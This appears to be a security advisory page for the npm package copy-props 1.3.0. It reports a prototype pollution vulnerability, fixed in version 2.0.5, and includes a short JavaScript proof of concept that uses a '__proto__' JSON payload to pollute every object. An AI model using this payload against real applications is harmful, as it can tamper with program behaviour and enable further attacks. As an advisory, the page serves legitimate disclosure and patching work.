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copy-props@1.3.0 vulnerabilities

Copy properties deeply between two objects.

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Direct Vulnerabilities

Known vulnerabilities in the copy-props package. This does not include vulnerabilities belonging to this package’s dependencies.

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Vulnerability Vulnerable Version
  • H
Prototype Pollution

copy-props is a Copy properties deeply between two objects.

Affected versions of this package are vulnerable to Prototype Pollution via the main functionality.

POC

const copyProps = require('copy-props');

var malicious_payload = '{"__proto__":{"polluted":"polluted"}}';
console.log("Before : " + {}.polluted);

copyProps(JSON.parse(malicious_payload), {});
console.log("After : " + {}.polluted);

How to fix Prototype Pollution?

Upgrade copy-props to version 2.0.5 or higher.

<2.0.5
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